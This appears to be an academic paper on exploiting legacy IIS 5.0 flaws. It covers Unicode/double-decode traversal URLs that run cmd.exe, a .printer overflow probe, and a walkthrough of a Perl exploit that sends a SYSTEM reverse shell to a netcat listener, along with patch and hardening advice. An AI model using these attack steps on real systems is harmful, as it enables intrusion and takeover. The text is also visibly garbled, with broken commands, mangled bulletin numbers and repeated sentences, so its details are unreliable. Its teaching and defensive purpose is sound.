Penetrating Internet Information Services (IIS).

[1]Odabi I. Odabi and [2]Linda Osazuwa

[1]Department of Mathematics and Computer Science, Benson Idahosa University, Benin city.
[2]Department of Computer Science, Delta State Polytechnic, Ogwashi-Uku.
Telephone: 08033380178. Email: odabiiodabi@gmail.com

Abstract

The intent of this paper is to provide a number of commonly exploited IIS vulnerabilities. The understanding of prominent attacks has been presented so that the reader can be familiar with the concept of vulnerabilities and techniques used to exploit them and to apply this understanding to future security issues as they arise by Information Technology professional. Some of the common vulnerabilities found in the Internet Information Services (IIS) packages have been presented. Note that while some of these vulnerabilities could be present on IIS 6.0 (particularly in the IIS 5.0 compatibility mode), none of them will work against a default installation of Windows Server 2003. This is due to the extensive changes to the default installation profile of IIS 6.0, which disables all dynamic content and includes no sample applications. As we proceed through the vulnerabilities, we will include mention of its status on IIS 6.0.

Key words: IIS, http, Expliot, Command and Buffer *Hacking, IIS, http, PERL and Unicode.*

Introduction

While Internet Information Services encompasses a variety of services including FTP, SMTP, AND NNTP, the most common IIS server is the World Wide Web Publishing Service is where most of the IIS vulnerabilities are found and will be the focus of our discussion. Before we begin discussing the vulnerabilities in this service, it is important to understand the basic operation of HTTP.

Considering the wide scope of security in information delivery, this paper is centered and limited to Security of Internet Information Services.

Internet fraud has become a common problem across the globe. Definitely there is no absolute security in the World of Information Technology. This paper examines the techniques to reduce the impact of the fraudulent internet users.

Simple HTTP Requests

At its most basic, an HTTP connection is comprised of a client request and a server response in a single session. An HTTP request specifies the action and the source requested, as well as any specific connection parameters or capability definitions provided by the

browser. The response will vary depending on the action and the resource, but in the majority of cases will take the form of HTML data. A very simple HTTP exchange may look like the following:

```
GET / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 10 May 2003 05:1253 GMT
Connection: Keep-Alive
Content:-Length: 1270
Content Type: text/html
Set-Cookie:
ASPSESSIONIDGQQGQJFC=ADAPB
PDCAKPLECKGHCNHNJIK; Path=/
Cache-control: private
</HTML><BODY>
<P>Some html data…<BR>
</BODY</HTML>
```

The first line is simplified by the browser, specifying the action (GET), the resource (/), and the HTTP protocol and revision (HTTP/1.0). The browser follows this GET request with two carriage returns, which signals the HTTP server that the browser has completed its request. The first line returned by the server is the HTTP response code, followed by the HTTP headers, and finally the HTML data. Unless certain keep alive options are set, the server terminates the connection after it has responded to the request.

The example above did not specify any request parameters, so our request was limited to a single line. Most browsers will provide significantly more information to the server to indicate the types of content the browser can accept, or in the case of forms, the data it is supplying. These options follow the initial action and are followed by two carriage returns. In many IIS vulnerabilities, the exploit is delivered through these facilities. The following shows an abbreviated POST request.:

```
POST /form.html HTTP/ 1.1
Accept: image/gif, image/x-bitmap,
image/jpeg, image/pjpeg
Content-type: application/x-www-form-
urlencoded
Content-length: 14
username=modea
```

Some basic exploits can be executed entirely within the request URL and can be launched from a standard browser like Internet Explorer. Many exploits require that the attacker have more precise control over their request, tuning the parameters normally supplied by the browser. In these cases, the attacker needs more precision than most browsers can provide.

Speaking HTTP

Because HTTP is a simple TCP protocol, it is possible to use a standard telnet application to communicate with an HTTP server simply by specifying the HTTP port in the command line.

```
E:\hacknotes>telnet
naïve.hacknotes.com 80
```

If you are a very good typist, the Windows telnet application can provide all the facilities needed for many HTTP hacks, but due to the lack of local *echo* (seeing the characters that you are typing) using telnet can be trying. For these types of probes, hackers and security professionals alike usually turn to the netcat tool, *nc.* Originally released by Hobbit on UNIX platforms, and later ported to Win32 by Chris Wysopal, netcat provides a simple network connection tool that is very well suited for basic HTTP. (http:/ /www/atstake.com/resear-ch/tools/network_utilities/.)

```
GET / HTTP/1.0
```

[cr]
[cr]

Now, we will feed this file into a netcat connection to our target HTTP server:

```
E:\hacknotes>type getreq | nc naïve.hacknotes. com 80
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Connection: keep-Alive
[. . .]
```

It is important to provide sample HTTP requests that can be used to test your own servers. To prevent simple errors from affecting your tests, netcat will be recommended using netcat in this fashion.

Delivering Advanced Exploits

When we begin to work with buffer overflow vulnerabilities in IIS processes, our exploits will need to precisely deliver raw binary data, known as *shellcode,* as part of our HTTP request. Some of these exploits can be delivered using the netcat method described above, but in most cases the exploit developers provide a Perl or C program that allows simple execution from a command-line interface

When you begin searching the Internet for exploiting code, you must be very careful with what you find. You should never compile or run anything that you don't understand, especially when it comes from an entrusted source. Code billed as an exploit could actually be a virus or Trojan application, even if it is delivered in source form. Proceed at your own risk, and exercise caution. If you do obtain working exploits, use them responsibly. Forensics consultants love novice hackers; they leave lots of tracks.

Working with PERL Exploits

Perl (Practical Extraction and Reporting Language) is a multipurpose scripting language available on a very wide range of platforms. Perl has library support for raw TCP/IP socket operations, so an exploit developed in Perl can be just as easily used on Windows as it is on Linux or Solaris. Perl exploits are usually more reliable than their C counterparts as platform dependencies are not involved. When possible in this chapter, we will demonstrate Perl exploits instead of the C equivalents.

For windows systems, the most common Perl implementation is Active Perl, available from http://www.activestate.com. There are other binary distributions available as well a complete list of ports (for Windows and other operating systems) can be found at the Comprehensive Perl Archive Network's homepage at http://www.cpan.org

Working with C Exploits

In some cases, simple exploits that have been developed for the Linux platform can be compiled under the Cygwin environment on Windows systems. Cygwin, available from http://www.cygwin.com, provides an emulation layer for applications by translating Linux system calls to Windows facilities. Executables generated with Cygwin can be used elsewhere provided that the *cygwin 1.dll* library is available. In the Cygwin environment, exploits can be compiled like so:

```
cygwin$ gcc - o exploit .exe exploit .c
```

Other exploits may be developed to use native Windows socket libraries and usually require a commercial C compiler such as Microsoft Visual C++ or Borland C++ to build. If you have access to one of these tools, you can usually compile these exploits by creating a simple command-line executable project and simply pasting in the exploit code as the only source file in the project. If you are not fortunate enough to have full development environment, you will need to enlist the services of a colleague to build the exploits you find. As mentioned in the preceding note, you really should not attempt building any C exploits without at least a cursory knowledge of the language; otherwise, you may unwittingly play the role of a Patient X.

Often compilation on either platform requires basic debugging skills such as identifying problems with line breaks or invalid characters introduced during HTML or other transfers. Less frequently, the exploits source will be delivered with a couple of deliberate bugs that prevent successful compilation; these errors are easily corrected by experienced programmers but serve to prevent novices from obtaining a working exploit will successfully crash the target server but will not return the expected shell [7].

The Big Nasties: Command Execution

These issues, though easily patched, provide attackers quick and easy access to the remote system either by fooling IIS into allowing arbitrary file system navigation or by exploiting unchecked buffer flaws in some of the default ISAPI applications. Many of these issues can result in immediate Local System–level compromise, so an attacker need not worry about privilege escalation before he begins harvesting the system's resources [9].

Unicode /Double Decode URL Parsing Attack

One of the most simplistic yet devastating IIS hacks, the Unicode / double decode URL parsing vulnerability, is caused by poor URL handling within IIS. When a request is received, IIS checks to ensure that the URL specified is acceptable before passing it on for processing. If IIS detects an obvious violation, it rejects the request. So if you point your browser to
http://target_host/scripts/../../../../winnt/system32.cmd.exe?/c+dir, you receive a 404 error. IIS detects the presence of directory traversal (/../..) and summarily rejects the request.

However, if you replace parts of the URL with Unicode-encoded strings, IIS fails to detect the traversal attempt. The reason for this behavior is that IIS processes the URL encoding *after* it verifies the validity of the URL. So to bypass the checking, we can simply replace parts of the URL with Unicode-encoded characters, like so:
http: //naïve/scripts/ .. %c0%af. . /winnt/system32/cmd.exe?/c+dir+d:\

Creating a netcat input file, with this resource, we can create a simple command to test servers for Unicode exposure:

```
E:\hacknote>type uniget.txt      nc 192.168.100.15 80
HTTP/1.1 200 OK
Server: Microsoft–IIS/5.0
DATE: SAT, 10 May 2003 18:5431 GMT
```

```
Content-Type:  application/octet-stream
Volume Serial Number is 6532-EE86
Directory of d: \
12/07/1999    05:00a                45    AUTORUN.INF
12/07/1999    50:00a <DIR>               BOOTDISK
12/07/1999    50:00a                 5    CDROM_IS.5
12/07/1999    50:00a                 5    CDROM_NT.5
12/07/1999    50:00a <DIR>                     CLIENTS
12/07/1999    50:00a <DIR>                     1386
12/07/1999    50:00a <DIR>                     PRINTERS
12/07/1999    50:00a             16,490   READ1ST.TXT
12/07/1999    50:00a            233,472 README.DOC
12/07/1999    50:00a            151,824 SETUP . EXE
```

Obviously Unicode filesystem traversal and command execution was a serious vulnerability, allowing advanced hacking to be conducted by a novice with no more elaborate tools than a copy of Internet Explorer. Microsoft responded quickly with a patch for the issue in security bulletin MS00-086. The patch was also rolled up with the release of Windows 2000 Service Pack 2. Unfortunately, a short time later a very similar parsing flaw was discovered, affecting even servers running SP2. While the MS00-086 patch had updated IIS to decode the Unicode entries in the URL before passing the request, researchers at NSFocus determined that because IIS performed only one Unicode translation before validation, they could simply provide "double encoding" by specifying the hexadecimal equivalent of the % sign, %25. After this first encoding is processed, the remaining URL can be even more simplistic than those used to exploit the Unicode vulnerability. This technique for bypassing the Unicode protection in MS00-086 is referred to as "double-decode" or "superfluous Unicode/" Expressed in this form, our preceding URL would look like this:

http://naive/scripts/ . .%255c. . /winnt/system32cmd.exe?/c+dir

Double-decode can work equally well regardless of whether or not the target has installed SP2 or MS00-086. When the host does have one of these patches, it performs a single pass of decoding on the URL, so when the URL is processed, it looks like this:

http://naive/scripts/ . .%5c. . /winnt/system32cmd.exe?/c+dir

The %5c is simple hexadecimal encoding of the / character, so the request is equivalent to our Unicode attacks above. The doubled-decode vulnerability was addressed as a post-SP2 patch in security bulletin MS01-026 and included in Windows 2000 SP3.

Let us take a quick moment to take a look at the URLs we have provided in these requests. We will dissect our Unicode, http://naive/scripts..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\. First, notice that the request begins with a legitimate IIS default

directory, *scripts*. In a default IIS5.0 install, this virtual directory allows execution of both scripts executable programs, whereas the root directory permits only script execution. Other default virtual directories have similar permissions, so if at first you do not succeed, try and try again. Even though the actual program we are running is well out of the web directory, the fact that the directory traversal begins in the scripts virtual directory allows us to run command-line applications. If you try executing the previous netcat test without the scripts directory, the request will fail. [1]

Following the scripts directory, we have our encoded directory traversal. There are actually a variety of encoding to accomplish this–some Unicode and some double-encoded. After we've completed our directory traversal (to the drive root, in this case), we simply walk back up the directory tree to an executable who's location we have guessed based on common defaults. Our final resource for this URL is cmd.exe, and we provide command-line options using standard URL parameter passing. If we can guess where the application is, we can run it! However, this means that if the web root is not on the same file system as the system directory, we are more limited in finding applications.

Preventing Unicode/Double-Decode Attacks

Windows 2000 SP2 (and the sp1 hotfix MS00-086) introduced a fix to the original Unicode problem, and the subsequent double-decode vulnerability was addressed in SP3 or the SP2 hotfix MS01-026. The patches provide better defense against encoded URLs, but they do not impose any additional restrictions on the Internet user accounts, so administrators are encouraged to review their file system permissions to decide if the current file system permissions afforded to the Internet guest accounts are acceptable. Windows Server 2003 does not suffer from either of these vulnerabilities.

The lessons learned from Unicode and double-decode go well beyond maintaining patch levels. For the vast majority of sites, there is no reason that the Internet guest accounts require and execute access to system executables such as cmd.exe. The variety of attacks that were enabled by allowing even unprivileged arbitrary command execution opened the eyes of many security administrators and Microsoft product managers alike. The overwhelming success of the Unicode and double-decode exploits were a significant motivator in the design and default configuration of IIS 6.0. Were such a vulnerability to be discovered in Windows Server 2003, the attacker would find the file system much less accommodating to Internet guest accounts.

Printer Buffer Overflow

In mid-2001, vulnerability was discovered by researchers at eEye Digital Security (http://www.eeye.com) in the Internet Printing Protocol implementation installed by default on IIS v5.0. The protocol is handed in IIS by an ISAPI extension that maps the resource extension *.printer* to the new3prt.dll application. The team at eEye discovered an unchecked buffer in this DLL's request handling of the Host header field. Beyond a certain amount of data, any information contained in the Host header would simply overrun system memory. If the data introduced into memory were junk, IIS would

simply crash and restart automatically. If, however, the data were carefully formulated shellcode, the attacker could introduce executable code in the Host header field, which would be executed in the msw3prt.dll application. Further complicating the issue, the msw3prtll was defined as an "in-process" application and would execute with the same Local System privileges as the IIS server itself, instead of the more restricted Internet guest accounts.

For a simple test for the presence of the vulnerability, we can formulate a simple GET request for delivery with our netcat method described earlier. The request file for this attack would look like the following:

GET /anything .printer HTTP/1.0
Host: [any character repeated 422 times]

Delivery of this probe does not return anything of significance back to the attacker. On a vulnerable server, however, the Event Log records a number of entries in the system Log, depending on how many services are running under the core IIS process, inetinfo.exe. The Event Log entries will read something like the following:

The World Wide Web Publishing Service terminated unexpectedly. It has done this 2 time(s). The following corrective action will be taken in 0 milliseconds: No action

Well, crashing a service is kind of fun, but IIS 5.0's immediate restart features means even the crash is short-lived. No worries. A number of researchers picked up on eEye's announcement of the .printer vulnerability, and in short order a few different exploits began turning up for the vulnerability. Most of these exploits were based on the jill.c exploit code released by dark spyrit of beavuh labs, and all behave similarly [2].

So how do attackers and security professionals find exploit code? Within the first days of vulnerability's release, exploits are usually hard to come by and are being closely guarded by their authors. Often, working exploits exist long before the vulnerability is announced, as researchers who find problems will usually allow the vendor some time to respond to the issue before they go public. After the vulnerability is released, other researchers may begin developing exploits, and it's not uncommon for a few different exploits to exist for the same issue. Usually, within a week or so of the initial announcement, functional exploit can be found in security-related newsgroups and web sites. To obtain the exploit we describe for the printer vulnerability, we simply searched Google.com for "IIS .printer exploit code"–the code we use in this paper was the second link returned.

To keep things simple, we will use a Perl version of this exploit developed Cyrus The Great, ported from both the original proof-of-concept code released by eEye and the shellcode from dark spyrit's jill.c application which can be accessed from http://www.securiteam.com).

A quick search for "IIS .printer exploit code" or "IISHACK2000 perl" should turn up a few sources for this exploit, including. When you find the Perl script, simply copy and paste the script into a text file and save it with a .pl extension. For our example, we have named the script prnthbo.pl. The comments at the top of the script provide simple instructions:

```
# shell code spawns a reverse CMD shell
, you should setup a
# listeners ..
# use ncllnt for Windows platform, nc
for unix
```

nc -1 –v –t –p <attacker port >

So now we get to use netcat for a whole other purpose. Before we launche pur attack, we will create a listening port on *our* host. If the exploit is successful, it will actually call us back on the port we specify and feed us a command prompt (this process is often referred to as "shoveling a shell"). A note before we try this exploit–due to the way the shellcode executes, there is a very good chance that the IIS server will be rendered unusable until it is actually rebooted. This is not something you want to try against a production site, and certainly not something you want to try against any machines that you do not administer [2].

To kick off this exploit, we will need to open two command prompt windows. In the first, we will start a netcat listener as suggested in the comments of the Perl script. We will set up a netcat listener on TCP port 8000, using the following command:

E: \hacknotes> -1 –v –p 8000
Listening on [any] 800
Now we will switch to our seconds prompt and use Perl to execute the script, rpntbo.pl. The author was even kind enough to include command command-line usage assistance:
E: \hacknotes\exploits>perl prntbo .pl
Usage:
Prntbo.pl <victim host> port> <listen host> <listen port
Victim Host: Address of IIS5 server to own
Victim Port: IIS5 service port (80)
Listen host: Attacker host IP address
Listen port: Port number of netcat listener
E: \hacknotes\exploites>perl prntbo .pl \
192. 168 . 100 .15 80 192 . 168 . 100 . 4 8000
Connecting…
Sending exploit…
Exploit sent .. you may need to send a CR on netcat listening port

Following Cyrus's instructions once again, we switch back to our netcat listener window. If our exploit was successful, we should see a connect statement in the window now. Sending the carriage return completes the connection, and we receive our command prompt. As our last step, we'll confirm our user context with the whoami.exe resource kit tool, as we did before with the Unicode attack.

connect to [192 . 168 . 100 .4] from NAÏVE [192 .168 . 100 .15] 1035
Microsoft windows 2000 [Version 5.00 . 2195]
(c) copyright 1985 – 1999 Microsoft corp.
E: \WINNT\system32>
E: \WINNT\system32>cd \
cd \
e: \>whoami . exe
whoami . exe
NT AUTHORITY\SYSTEM
E: \>

While we cannot run interactive applications from this command prompt due to the limitations of our netcat session, we have full access to the file system and executables and can set about building ourselves a nice little rootkit. Using command-line file acquisition tools like tftp or ftp, the attacker will download other command-line utilities he can use to make the session more comfortable [10]

There is one stick, though, that is constantly forgotten by novice attackers– if you issue a CTRL-C to cancel an operation (such as a directory listing of

the System32 directory on a slow link), you will actually cancel your netcat session, and your command shell will be lost. Worse, because the shellcode (understandably) has no error control, it will not terminate on its own when you disconnect. If you do not quit the remote shell by explicitly calling *exit* before you disconnect, the remote server will go into an unrecoverable failure mode and will need to be rebooted. You will go into an unrecoverable failure mode and will need to be rebooted. You will not be able to get back in via the .printer exploit until the system has been restarted. The same applies if you run the exploit without a listener to catch the shell. These caveats make this a fairly risky exploit to try – if you blow it, you will take IIS out of the picture entirely (possibly leaving the system a whole lot more secure in the process).

Remove IIS .PRINTER Functionality

The buffer overflow issue in the msw3prt.dll was corrected in the patch accompany Microsoft security bulletin MS1-023, and was included in Windows 2000 SP2. Windows Server 2003 does not even offer the .print ISAPI mapping by default. On IIS 5.0 however, unless the Internet Printing Protocol function is in use, administrators are strongly encouraged to remove the ISAPI application mapping for .printer resources. The ISAPI mappings can be defined for the entire or an individual web site from the IIS management console snap-in.

- Start the Internet Information Services Manager by selecting Start Run… **inetngr.**
- right-click the server name in the left-hand panel and select Properties.
- Select WWW Service and click Edit.
- Click the Home Directory tab.
- Click the Configuration button.

1. In the Application Configuration dialog box, remove any ISAPI application mappings that are not specifically required for your web site.

Typically, IIS buffer overflows do not occur in the core IIS program *inetinfo.exe* but in one of the applications just defined. The default activation of all ISAPI of these applications provides a number of pathways for an attacker. When in doubt, remove all ISAPI mappings and then re-add the ones that are in fact required by your sites. Windows Server 2003 ships with no ISAPI extensions enabled by default, requiring administrators to explicitly enable the ones they need.

Server-Side Include Buffer Overflow Attack

In June of 2001, researchers with the NSFocus Security Team Contacted Microsoft about a vulnerability they had uncovered in the code that managed server-side includes (SSI) as an ISAPI application, ssinc.dll. By default, the extensions .shtm, .shtml, and .stm are mapped to the SSI application. When the SSI sees a directive like the following, it opens the file specified and outputs all the content as if it had been included in file specified and outputs all the content as if it had been included in the original .shtml file:

<! - - #include file=”afile.html”-->

The NSFocus researchers discovered that when the SSI checked the filename length (to ensure that it would not overflow any buffers), it did not take into account the length of any relative paths, such as the one the .shtml file was

being called from. As a result, there lies an opportunity to overflow the buffer by specifying a filename that occupies the entire buffer and is called from a relative path. The attack for the SSI buffer overflow is a little more challenging because it requires some setup in the web root directory itself. This can frequently be accomplished through other hacks, such as the Unicode/double-decode command execution described earlier, but does severely limit the usefulness of this vulnerability.

An exploit was released for the Server-Side Include vulnerability by Indigo in December of 2001, a small program called *jim.c (*in reference to dark spyrit's jill.c exploit for the .printer buffer overflow, discussed earlier*).* The jim.c tool is used to create an .shtml file that, if accessed from a web client, spawns a shell back to the attacker in the same fashion as we did with the .printer vulnerability. jill.c can easily be found by searching for "IIS SSI exploit" or from the Securiteam web site exploit archive at http://www.securiteam.com /exploits/archive. The source included on this site does have one or two small errors that will affect its compilation– you may have better luck compiling this one in a Cygwin environment as we have done. Once built, the tool is executed by simply providing the IP address and port that you'd like the target host to connect back to [6]

```
administration@mandark ~
$ ./ssi .exe 192 . 168 .100 .4 800
jim - IIS Server Side Include overflow
launcher by Indigo@talk21 . com> 2001
```

To exploit this vulnerability you must have writ access to the web root of the target web server.

This program will generate a field called ssi . shtml.

Create a directory in the web root whose name is 12 characters long eg. ssi overflow then put file into the new directory. Start up a netcat listener:

```
nc -1 -p <attacker port> -vv
```

access the file http: // target/ssi_overflow/ssi.shtml using a web browser. A SYSTEM shell will appear.

```
administrator@mandark ~ $ 1s
ssi.exe ssi.shtml ssi_exploit.c
```

Following the instructions, we transfer this file to our target host and set it up the / ssi_overflow directory. This may be done using legitimate permissions (such as on an intranet workgroup web server), or through another hack such as the Uncode command execution. In some cases, an inexperienced administrator may have even allowed Write access to the root directory, and you can simply PUT the file to the web server. After the file is loaded, we go ahead and fire up our netcat listener again, and then browse to http://targetssi_overflow / ssi.shtml. If the system is not properly patched and we have a bit of luck on our side, our netcat listener will pick up a shell being shoveled back to us. If we're not so fortunate, we'll have dumped a file on the remote host and through a few Event Log Entries to boot from crashing IIS via the ssinc.dll application [8].

Disable Server-Side Includes

The server-side include vulnerability was addressed in a rollup patch in Microsoft security bulletin MS1-044, and is included in Windows 2000 SP3. This patch addresses the buffer overflow within the ssinc.dll ISAPI application that is called by the .shtml file created by jim.c. Like all ISAPI filters, if server-side includes are not specifically

required by the web sites operating on the server, the mappings for .shtml, shtml, and .stm should be deleted from all sites. Refer to the .printer overflow described earlier for instructions on removing ISAPI application mappings in "Remove IIS .printer Functionality."

WebDAV ntdll.dll Buffer Overflow Attack

WebDAV is an HTTP extension introduced in HTTP v1.1 that defines special actions for use in authoring and managing web content. *WebDAV* stands for Web-based Distributed Authoring and Versioning, and is supported in IIS v5.0 by default. In March 2003, Microsoft issued security bulletin MS03-007 describing an unchecked buffer in the WebDAV handling routines, a vulnerability that could be exploited through a default installation of IIS. The actual vulnerability lies in a core operating system library, ntdll.dll.

When IIS receives a WebDAV request, it does not perform any length checking on the request resource. So it is possible to supply a filename in excess of 65,535 bytes in length and it will be happily passed to lower-level operating system functions, whereas a properly formatted filename can overrun memory and result in privileged code execution. While the WebDAV attack is the first method of exploiting this issue in ntdll.dll, Litchfield provides a long list of in excess of other functions that call the same flawed function that triggers the WebDAV buffer overflow (http://www.nextgenss.com/papers/ms03-007 ntdll.pdf.)

Public WebDAV exploits exist in both C-source and Perl forms and operate in the standard"shell back to attacker" fashion. The public exploits are finicky, however, and frequently fail to trigger the exploit properly, returning instead nothing more than an invalid request error. However, some recent attacks have been attributed to this WebDAV buffer overflow, so it is possible that there are more robust exploits available in limited circulation.

Update ntdll.ll, Disable WebDAV

The WebDAV buffer overflow is corrected in the post-SP3 hotfix available in Microsoft security bulletin MS03-007. While WebDAV is not available in IIS 4.0, there is a patch available for Windows NT v4.0 as this vulnerability actually exists in a core system library and could potentially be exploited by other methods than WebDAV.

Even if the patch is applied, if WebDAV is not required on an IIS server best practice suggest that the WebDAV methods exposed be disabled. The IIS Lockdown tool can install URLScan and configure it to block all WebDAV methods requests. If WebDAV services are required and the patch cannot be applied, Microsoft provides additional solutions in the MS03-007 regarding specific tools that can be installed to mitigate the risk from this vulnerability [3].

Remove IDQ/IDA Mappings

The Index Server vulnerabilities exploited by Code Red (and a host of other tools) were corrected in the patch associated with Microsoft security bulletin MS1-033 (later rolled up into MS1-044), and are included in Service Pack 3. The patch corrects the unchecked buffer condition in the IDQ.DLL application but does not disable the associated ISAPI mappings. The MS01-044 roll-up patch included a number of other patches, affecting some

denial-of-service vulnerabilities we have omitted from our discussion.

Conclusion.

One of the most common ports-of-entry for an attacker is the HTTP server provided by Internet Information S*ervices* (IIS). These services have a long history of vulnerabilities, both within the server and in the core extensions that are installed by default. While most of the plug-in extensions execute under the restricted Internet user guest accounts, the core server process executes as highly privileged system user. The common availability of this service combined with the variety of default exposures it contains has helped IIS earn an unenviable reputation for security [5]

The information presented here is really just a tip of the iceberg for web hacking. We have concentrated on IIS service and its default extension, but there are a whole World of different vulnerabilities present in the puzzle.

References

[1] http:/ /www/atstake.com/resear-ch/tools/network_utilities/.
[2] http:// packetstormsecurity.
[3] http://www.microsoft.com/windows2000/techinfo/reskit/tools/default.asp.
[4] http://www.nextgenss.com/papers/ms03-007 ntdll.pdf
[5] http://www.securiteam.com
[6] http://www.securiteam.com/exploits/archive
[7] Mcclure S., Scambray J. and Kurtz G. (1999), Hacking Exposed: Network Security Secrets and Solutions, Osborne/McGraw-Hill Pp 45 – 47.
[8] Michael O'Dea (2003),"Hack Notes, Window Security Portable Reference, McGraw-Hill/Osborne, Pp 124-126.
[9] Mike Shema (2003), HackNotes Web Security Portable Reference, McGraw-Hill/Osborne, Pp 96
[10] Mike Shema and Bradley C. Johnson (2004), Anti-Hackers Tool Kit, McGraw-Hill/ Osborne, Pp 23.